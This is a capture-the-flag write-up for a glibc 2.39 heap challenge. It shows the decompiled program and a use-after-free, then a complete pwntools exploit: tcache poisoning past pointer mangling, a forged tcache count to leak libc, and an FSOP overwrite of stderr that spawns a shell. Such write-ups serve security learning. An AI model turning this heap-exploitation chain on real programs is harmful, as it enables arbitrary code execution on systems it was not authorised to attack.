[0xLaugh-CTF 2026]-Pwn/Alice

Overview#

This is the writeup of the heap challenge that I solved in laugh ctf.The binary implemented a free count check that allow user to free up to 7 chunks,Means we can’t use the method of filling tcache bins to put the next chunk in unsorted bin to get libc leak.So we have to construct fake pthread_struct to bypass free count check.

1
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.6) stable release version 2.39.
2
Copyright (C) 2024 Free Software Foundation, Inc.
3
This is free software; see the source for copying conditions.
4
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
5
PARTICULAR PURPOSE.
6
Compiled by GNU CC version 13.3.0.
7
libc ABIs: UNIQUE IFUNC ABSOLUTE
8
Minimum supported kernel: 3.2.0
9
For bug reporting instructions, please see:
10
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
11
gef> checksec
12
Basic information
13
Canary                                  : Enabled
14
NX                                      : Enabled
15
PIE                                     : Enabled
16
RELRO                                   : Full RELRO
17
Fortify                                 : Not found

In libc-2.39,Pointers in tcache bins are mangled but we can easily bypass the mangling.

Source code#

1
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  int choice;
4

5
  setbuf(stdin, 0LL);
6
  setbuf(_bss_start, 0LL);
7
  setbuf(stderr, 0LL);
8
  puts("Not all memories are kind — but we must face them nonetheless.");
9
  while ( 1 )
10
  {
11
    menu();
12
    choice = read_choice();
13
    if ( choice == 5 )
14
    {
15
      puts("Alice closes her eyes and leaves Wonderland...");
16
      exit(0);
17
    }
18
    if ( choice > 5 )
19
    {
20
      puts("That choice is not real.");
21
    }
22
    else
23
    {
24
      switch ( choice )
25
      {
26
        case 4:
27
          forget_memory();
28
          break;
29
        case 3:
30
          view_memory();
31
          break;
32
        case 1:
33
          create_memory();
34
          break;
35
        case 2:
36
          edit_memory();
37
          break;
38
        default:
39
          goto ;
40
      }
41
    }
42
  }
43
}

This is the main function,It’s just prompts user a menu.

1
int create_memory()
2
{
3
  int v1;
4
  signed int choice;
5
  size_t size;
6

7
  printf("Memory index: ");
8
  choice = read_choice();
9
  if ( (unsigned int)choice > 8 )
10
    return puts(aThatMemoryDoes);
11
  if ( *((_QWORD *)&memories + choice) )
12
    return puts("Something was there already.. may wanna save somewehre else.");
13
  printf("How vivid is this memory? ");
14
  v1 = read_choice();
15
  size = v1;
16
  if ( !v1 || (unsigned __int64)v1 > 0x300 )
17
    return puts("That memory is too distorted to hold.");
18
  *((_QWORD *)&memories + choice) = malloc(v1);
19
  printf("What do you remember? ");
20
  read(0, *((void **)&memories + choice), size);
21
  return puts("As if it happened yesterday...");
22
}
23
int view_memory()
24
{
25
  unsigned int choice;
26

27
  printf("Which memory do you wish to recall? ");
28
  choice = read_choice();
29
  if ( choice <= 8 )
30
    return puts(*((const char **)&memories + (int)choice));
31
  else
32
    return puts("Weird... I don't remember that.");
33
}
34
int edit_memory()
35
{
36
  signed int choice;
37
  size_t nbytes;
38

39
  printf("Which memory will you rewrite? ");
40
  choice = read_choice();
41
  if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
42
    return puts("I can't get myself to remember what happened that time.");
43
  nbytes = malloc_usable_size(*((void **)&memories + choice));
44
  printf("Rewrite your memory: ");
45
  read(0, *((void **)&memories + choice), nbytes);
46
  return puts("The past bends under your will...");
47
}
48
int forget_memory()
49
{
50
  signed int choice;
51

52
  if ( free_count > 6 )
53
    return puts("Some memories refuse to fade...");
54
  printf("Which memory will you erase? ");
55
  choice = read_choice();
56
  if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
57
    return puts("Idk.");
58
  free(*((void **)&memories + choice));
59
  ++free_count;
60
  return puts("What was that about again?");
61
}

In create memory, we can malloc upto 0x300 size and the chunk pointers will be stored in .bss section. In view memory and edit memory ,There is no check to ensure that chunk is freed or not .In forget memory functions,Pointers in .bss section is not cleared after freeing it so we get UAF primtive.The free count is increased on every forget_memory call so we get maximum of 7 free and 7 malloc.

Exploitation#

The exploitation part is pretty simple.There is UAF vuln so we can get Heap leak pretty easily. Then we can forge fake pthread_struct to fake free count so that on next free the chunk will go to unsorted bin.And using UAF primtive we can get libc leak. Once we get libc leak ,There is many ways to get shell using arbitrary write primtive.I overwrote stderr struct then called exit to execute system("/bin/sh").I think this method is called House of Apple 3.

1
from pwn import *
2
elf  = context.binary = ELF("./vuln_patched")
3
context.log_level = "Debug"
4

5
io = process()
6
# gdb.attach(io)
7
def malloc(index,size,data):
8
    io.sendlineafter(b">",b"1")
9
    io.sendlineafter(b"index:",str(index))
10
    io.sendlineafter(b"memory?",str(size))
11
    io.sendlineafter(b"remember?",data)
12

13
def edit(index,data):
14
    io.sendlineafter(b">",b"2")
15
    io.sendlineafter(b"rewrite?",str(index))
16
    io.sendlineafter(b"memory:",data)
17

18
def view(index):
19
    io.sendlineafter(b">",b"3")
20
    io.sendlineafter(b"recall?",str(index))
21

22
def free(index):
23
    io.sendlineafter(b">",b"4")
24
    io.sendlineafter(b"erase?",str(index))
25

26

27
malloc(0,0xf0,b"A")
28
malloc(1,0xf0,b"B")
29
malloc(2,0x100,b"C")
30
malloc(3,0xf0,b"D")
31

32
free(0x0)
33
view(0x0)
34
heap_leak = unpack(io.recvn(0x6),"all")
35
heap_leak = (heap_leak>>8)<<12
36

37
free(0x1)
38
edit(0x1,pack((heap_leak+0x10)^heap_leak>>12))
39
malloc(4,0xf0,b"")
40
malloc(5,0xf0,b"")
41

42
fake_pthread = pack(0x2)+pack(0x0)+pack(0x0)+p32(0x0)+p8(0x0)+p8(0x0)+p8(0x7)
43
edit(5,(fake_pthread))
44
free(0x2)
45
view(0x2)
46
io.recvn(0x1)
47
libc_leak = unpack(io.recvn(0x6),"all")-0x203b20
48

49
log.critical(f"heap base:{hex(heap_leak)}")
50
log.critical(f"libc base:{hex(libc_leak)}")
51

52
free(0x3)
53
free(0x4)
54

55
stderr = pack((libc_leak+0x2044e0)^(heap_leak>>12))
56
edit(0x4,stderr)
57

58

59
#FSOP#
60
system_addr =libc_leak+0x58750
61
libc_base = libc_leak
62
stderr_address = libc_base+0x2044e0
63
fake_wide_data = stderr_address-0x48
64
wide_vtable  = stderr_address
65
lock = libc_base+0x205700
66
fake_stderr_vtable = libc_base+0x202228##jumps
67
chain = libc_base+0x2045c0
68

69
payload =pack(0x3b01010101010101)#0x0
70
payload+=b"/bin/sh\x00"#0x8
71
payload+=pack(0x0)#0x10
72
payload+=b"\x00"*(0x20-0x18)
73
payload +=pack(0x0)#0x20
74
payload+=pack(0x1)#0x28
75
payload+=p8(0x0)*(0x60-0x30)
76
payload+=pack(system_addr)#60
77
payload+=pack(chain)#68
78
payload+=p8(0x0)*(0x88-0x70)
79
payload+=pack(lock)#0x88
80
payload+=p8(0x0)*(0x98-0x90)#0x90
81
payload+=pack(wide_vtable-0x8)#0x98
82
payload+=p8(0x0)*(0xa0-0x90-0x10)
83
payload+=pack(fake_wide_data)#a0
84
payload+=pack(0x0)#a8
85
payload+=p8(0x0)*(0xd8-0xa8-0x8)
86
payload+=pack(fake_stderr_vtable)
87

88
print(f"fake wide data address = {hex(fake_wide_data)}")
89
print(f"fake_wide vtable address is {hex(wide_vtable)}")
90

91
malloc(0x6,0xf0,b"a")
92
malloc(0x7,0xf0,payload)
93

94
io.sendline(b"5")
95
io.interactive()
96
#pthread struct-> snap after freeing one 0x100 chunk->we have to  overwrite that free count of 0x1->0x7
97
# 0x5c792dc98000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
98
# 0x5c792dc98010|+0x00010|+0x00010: 0x0000000000000002 0x0000000000000000 | ................ |
99
# 0x5c792dc98020|+0x00020|+0x00020: 0x0000000000000000 0x0001000000000000 | ................ |
100
# 0x5c792dc98030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
101
# 0x5c792dc98040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
102
# 0x5c792dc98050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
103
# 0x5c792dc98060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
104
# 0x5c792dc98070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
105
# 0x5c792dc98080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
106
# 0x5c792dc98090|+0x00090|+0x00090: 0x00005c792dc982c0 0x0000000000000000 | ...-y\.......... |
107
# 0x5c792dc980a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
108
# 0x5c792dc980b0|+0x000b0|+0x000b0: 0x0000000000000000 0x0000000000000000 | ................ |
109
# 0x5c792dc980c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
110
# 0x5c792dc980d0|+0x000d0|+0x000d0: 0x0000000000000000 0x0000000000000000 | ................ |
111
# 0x5c792dc980e0|+0x000e0|+0x000e0: 0x0000000000000000 0x0000000000000000 | ................ |
112
# 0x5c792dc980f0|+0x000f0|+0x000f0: 0x0000000000000000 0x0000000000000000 | ................ |
113
# 0x5c792dc98100|+0x00100|+0x00100: 0x0000000000000000 0x00005c792dc982e0 | ...........-y\.. |
114
# 0x5c792dc98110|+0x00110|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
115
# * 23 lines, 0x170 bytes